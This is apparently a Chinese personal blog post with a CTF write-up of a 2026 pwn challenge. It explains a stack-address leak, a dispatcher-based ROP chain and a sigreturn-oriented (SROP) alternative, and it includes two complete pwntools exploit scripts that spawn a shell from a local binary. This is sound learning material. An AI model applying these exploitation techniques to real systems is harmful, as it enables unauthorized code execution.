Mkrari

GitHub

统计加载中...

公告

欢迎访问我的博客！这里会分享技术文章和生活感悟。

Mkrari

GitHub

统计加载中...

公告

欢迎访问我的博客！这里会分享技术文章和生活感悟。

标签

ACM CTF 教程新生赛杂谈

2234 字

6 分钟

2026方班杯PWN_rop

2026-05-06

CTF

统计加载中...

五一前速通了一下 $srop$ 的原理，星铁 $land$ 回来之后就速速来复现题目了（）。这题可以按出题人的意思，根据题目给的条件来巧妙构造 $rop$ 。也可以另辟蹊径地用 $srop$ 来解决。

技巧ROP#

我们发现程序似乎保护全关，同时有直接的

read

栈溢出。看似是可以简单地用

shellcode

解决，但并非如此。

我们查看内存空间看到

stack

上没有执行权限，这也就说明了

shellcode

是不行的。
我们重新来审视原函数的逻辑。这里看到

print

打印了

msg1

的内容，然后返回了一个

ret\_addr

。这个

ret\_addr

就是存储了

print()

f的返回地址。然后我们看到

v2

存储了

ret\_addr

的地址，它是一个在栈上指向

ret\_addr

的指针。接着我们用

print

打印了它的地址，而这就是泄露的栈地址了。我们后续就是根据这个地址的偏移在栈上精确构造

rop

链。

1
data = p.recv(952)
2

3
stack_leak = u64(data[379 : 379 + 8])

这里接收的 $379$ 处的 $8$ 个字节就是泄露的栈地址了。
同时因为这个程序是手写的小汇编程序，我们还可以直接看汇编代码来深化理解（方便理解后续栈布局的设计）

1
print proc near
2
mov     eax, 1
3
mov     edi, 1          ; fd
4
syscall                 ; LINUX - sys_write
5
xchg    rax, r13
6
jmp     qword ptr [rsp+0]
7
print endp

可以看到执行完 $print$ 后， $rsp$ 并没有移动，还是指向返回地址，并且直接跳转到 $rsp$ 指向的位置。

1
_start proc near
2

3
var_8= qword ptr -8
4

5
mov     rsi, offset msg1
6
mov     edx, 17Bh
7
call    print
8
push    rsp
9
mov     rsi, rsp
10
mov     edx, 8
11
call    print
12
mov     rsi, offset msg2
13
mov     edx, 235h
14
call    print
15
xor     rax, rax
16
xor     rdi, rdi        ; fd
17
mov     rsi, rsp        ; buf
18
mov     edx, 539h       ; count
19
syscall                 ; LINUX - sys_read
20
jmp     [rsp+8+var_8]
21
_start endp

我们看到，在执行完 $print()$ 后， $rsp$ 没有变化，依旧指向原来 $print$ 在栈上的返回地址。此时push rsp，我们压入了 $rsp$ 这个指针，而它是一个指向上一个栈地址(rsp+0x8)的指针。然后我们将它的值传给了 $rsi$ ，接着调用 $print()$ 打印。所以这就是我们需要的泄露的栈地址。接着后续我们又连续调用了两次 $print()$ ，两次call print指令分别压入了两次新的返回地址。因此我们可以大致规划出在进行 $read$ 操作前我们的栈布局是怎么样的。

1
rsp        返回地址3
2
rsp+0x8    返回地址2
3
rsp+0x10   压入的rsp(我们泄露的内容)
4
rsp+0x18   返回地址1

而我们看到 $read$ 写入的位置就是栈布局上的 $rsp$ ，然后后续的jmp [rsp+8+var_8]其实就是直接跳转了 $rsp$ 的位置，所以 $rsp$ 的位置就是我们返回地址，第一个写入的地址会直接跳转。
这里的payload_base = stack_leak - 0x18就是 $rsp$ 的位置。后续的偏移设置以此为基准。
到目前为止我们摸清楚了程序的意图。然后我们就需要相应的 $gadget$ 来构造 $rop$ 。

这里我们看到两个特殊的

gadget

，

dispatcher

会将

rbx

加

8

，然后跳转里面的地址。而

gadgets

可以让我们在栈上设置好相应的寄存器。
这里是最考验技巧的地方了。首先我们看到

gadget

中完全没有

ret

，我们无法直接简单粗暴的控制返回地址搭建

rop

链。同时在

gadget

中设置好寄存器后是直接跳转

r15

，后续也无法通过其他方法修改

r15

来控制其跳转其他地方。这里的解法是利用了

dispatcher

对

rbx

的加

8

，然后跳转

rbx

的操作来改变程序的控制流。
我们先跳转

pop\_gadget

，依次设置好相关的寄存器。我们的最终目的是构造execve("/bin/sh", 0, 0)，所以我们按照要求设置相关的寄存器。值得注意的是，这里我们无法直接设置

rax

，但是我们看到

print

汇编代码里面有一段xchg rax, r13，也就说我们可以将

r13

设置为

59

，后续再调用

print

，交换

rax

和

r13

的值就能设置好

rax

了。

rdi

设置为我们的

/bin/sh

在栈上的地址。（相关偏移量我在注释标注了）。后续我们需要再分别将

rsi

和

rdx

清零。这也是为什么我们需要用

dispatcher

来构造

rop

链的主要原因之一。
接着我们来设置和我们

rop

链有关的寄存器。

rbx

设置为xor rdx, rdx在栈上的偏移量

-0x8

，因为

dispatcher

会对

rdx+0x8

后再跳转。

r15

设置为

dispatcher

的地址来不断跳转。这里对

rdx

清零之后又跳转

dispatcher

，然后

rdx+0x8

继续回到栈上执行

rsi

的清零。再跳转

dispatcher

，接着

rdx+0x8

回到栈上执行

print

，目的是让

rax

为

13

。由于此时的

rdx

已经清零了，所以不会打印任何内容。

print

执行完后会跳转

[rsp]

，进入栈顶存放的地址。
此时p64(dispatcher)之前的数据均已弹出，所以我们会开始执行新一轮的

pop\_gadget

，我们按之前的第一次的操作设置好

rdi

等等寄存器。

rdx

已清零不用管，

rsi

因为pop rsi存入的

pop\_gadget

的地址，需要后续用

dispatcher

重新清零。然后这里的

r13

直接填

0

即可，因为我们的

rax

已经设置好了。

rbx

填入我们在栈上放入的新的

rsi

清零的地址

-0x8

。

r15

设置为

dispatcher

进行反复跳转。
反复跳转跟前面的一样，每次

dispatcher

都会将返回到栈上的地址下移并执行。最终我们设置好所有的寄存器然后调用了

syscall

并

getshell

。
$EXP：$

1
from pwn import *
2

3
context(arch = 'amd64', os = 'linux', log_level = 'debug')
4

5
# p = remote()
6
p = process('./vuln')
7

8
#gdb.attach(p)
9

10
pop_gadget = 0x401017
11
dispatcher = 0x401011
12
xor_rdx = 0x401021
13
xor_rsi = 0x401027
14
PRINT = 0x401000
15
syscall_addr = 0x40100A
16

17
data = p.recv(952)
18

19
stack_leak = u64(data[379 : 379 + 8])
20
log.success(f"leaked stack: {hex(stack_leak)}")
21

22
payload_base = stack_leak - 0x18
23
bin_sh_addr = payload_base + 0x78
24

25
payload = flat([
26
    p64(pop_gadget),
27
    p64(bin_sh_addr),
28
    p64(payload_base + 0x48),
29
    p64(59),
30
    p64(dispatcher),
31
    # payload_base + 0x20
32

33
    p64(pop_gadget),
34
    p64(bin_sh_addr),
35
    p64(payload_base + 0x60),
36
    p64(0),
37
    p64(dispatcher),
38
    # payload_base + 0x48
39

40
    # chain1
41
    p64(xor_rdx),
42
    p64(xor_rsi),
43
    p64(PRINT),
44
    # payload_base + 0x60
45

46
    # chain2
47
    p64(xor_rsi),
48
    p64(syscall_addr),
49
    # payload_base + 0x70
50

51
    b"/bin/sh\x00",
52
    #payload_base + 0x78
53

54
])
55
p.send(payload)
56

57
p.interactive()

此外这题还可以使用 $srop$ 的方法来做。

SROP原理：#

首先我们需要了解一下 $signal$ 机制。

signal

机制是类

unix

系统进程之间互相传递信息的一种方法。当我们调用

sigreturn

时，内核会向某个进程发送

signal

机制，将其挂起并进入内核态。内核会保留相应的上下文，主要是将所有的寄存器压入栈中，并压入

signal

信息(这一段信息和寄存器合起来就是

signal frame

)以及指向

sigreturn

的系统调用地址。值得注意的是，这里压入的所有信息都在用户进程的地址空间。之后会跳转到

signal handler

处理相关的

signal

，所以当

signal handler

执行完之后就会执行

sigreturn

的代码。为该进程直接恢复

frame

保存的上下文，其中包括将所有压入的寄存器重新

pop

回原来的寄存器。然后恢复进程的执行。

32

位的

sigreturn

的系统调用号是

119(0x77)

，

64

位的是

15(0xf)

。

根据上面的原理，我们其实也可以明白，如果我们可以控制相关的

signal frame

，也就可以控制相关上下文来一次性设置所有我们想要的寄存器，并控制程序的执行流

rip

来直接调用，而无需通过一步一步的

rop

和大量的

gadget

来设置寄存器和调用。
而这个保存上下文的机制巧就巧在，它会把相关的

frame

信息放在栈上，而栈上的内容是我们可读写。并且内核解析相关

frame

的信息时并不检查是否真的是之前由内核写入的真实

frame

。它只是从最靠近

rsp

的位置直接找到一个

frame

并读取数据，然后放入相应寄存器。所以我们直接在栈上伪造一个

frame

，并调用

rt\_sigreturn

，内核就会直接按照这个伪造的

frame

来设置寄存器。
举个例子：假如我们想要

getshell

。按照

SROP

的思路来讲。我们只需要将

rax

设置为

15

(

64

位)，然后利用

ret

和

syscall

两个

gadget

来执行系统调用

rt\_sigreturn

。并再此之前在栈上设置好伪造的

frame

，（相关寄存器数据按照execve("/bin/sh", 0, 0)设置好），

rip

再设置为

syscall

。在

rt\_sigreturn

恢复完上下文之后就会直接执行

syscall

，系统调用

execve

来

getshell

了。
这题另一种方法便是如此。

SROP#

首先我们同样需要泄露栈地址，然后相对于栈地址我们放置相应的参数。这里伪造的 $frame$ 的大小一般为 $0xf8$ 字节。然后再加上我们 $payload1$ 前面的两个读入就是 $0x10 + 0xf8$ 。这个就是我们放入 $/bin/sh$ 的地址，也就是将要构造的 $execve()$ 需要的第一个参数。

1
buf = stack_leak - 0x18
2
bin_sh_addr = buf + 0x10 + 0xf8

同时尽管 $gadget$ 十分有限，我们还是有 $ret$ 和 $syscall$ 这两个关键的 $gadget$ 。而 $rax$ 可以通过二次读入长度来控制 $read$ 存有返回值的 $rax$ 为 $15$ ，然后我们再用 $ret$ 和 $syscall$ 的 $gadget$ 来触发 $sigreturn$ ，然后使用我们伪造 $sigcontext$ 。

这里 $payload1$ 再次跳转并调用了了 $read$ ，它会接收 $payload2$ 中的 $15$ 个字节，然后让 $rax$ 设置为 $15$ 。 $payload2$ 中 $syscall$ 地址的高位是 $00$ 所以我们可以只读取 $7$ 个字节来控制字节数。
$tips：$ 这里的 $ret$ 没有显式表现在 $IDA$ 上，而是夹在add rbx, 8中的机器码48 83 C3 08中的C3表示的是 $ret$ 的机器码。如果你使用 $ROPgadget$ 是可以直接看到这个 $ret$ 的 $gadget$ 。

1
payload1 = flat([
2
    p64(read_addr),
3
    p64(0),
4
    bytes(frame),
5
    b'/bin/sh\x00'
6
])
7
p.send(payload1)
8

9
payload2 =  flat([
10
    p64(ret_addr),
11
    p64(syscall_addr)[:7]
12
])
13
p.send(payload2)

我们通过设置 $sigcontext$ 相应的寄存器构造并调用execve("/bin/sh", 0, 0)来 $getshell$ 。
这种解法的更详细的解释可以参考大佬 $ZenDuk$ 的博客，我的解法主要借鉴了他的思路。博客链接
$EXP：$

1
from pwn import *
2

3
context(arch = 'amd64', os = 'linux', log_level = 'debug')
4

5
# p = remote()
6
p = process('./vuln')
7

8
#gdb.attach(p)
9

10
ret_addr = 0x401013
11
read_addr = 0x401069
12
syscall_addr = 0x40100A
13

14
data = p.recv(952)
15

16
stack_leak = u64(data[379 : 379 + 8])
17
log.success(f"leaked stack: {hex(stack_leak)}")
18

19
buf = stack_leak - 0x18
20
bin_sh_addr = buf + 0x10 + 0xf8
21

22
frame = SigreturnFrame(kernel = 'amd64')
23
frame.rax = 59
24
frame.rdi = bin_sh_addr
25
frame.rsi = 0
26
frame.rdx = 0
27
frame.rip = syscall_addr
28

29
payload1 = flat([
30
    p64(read_addr),
31
    p64(0),
32
    bytes(frame),
33
    b'/bin/sh\x00'
34
])
35
p.send(payload1)
36

37
payload2 =  flat([
38
    p64(ret_addr),
39
    p64(syscall_addr)[:7]
40
])
41
p.send(payload2)
42

43
p.interactive()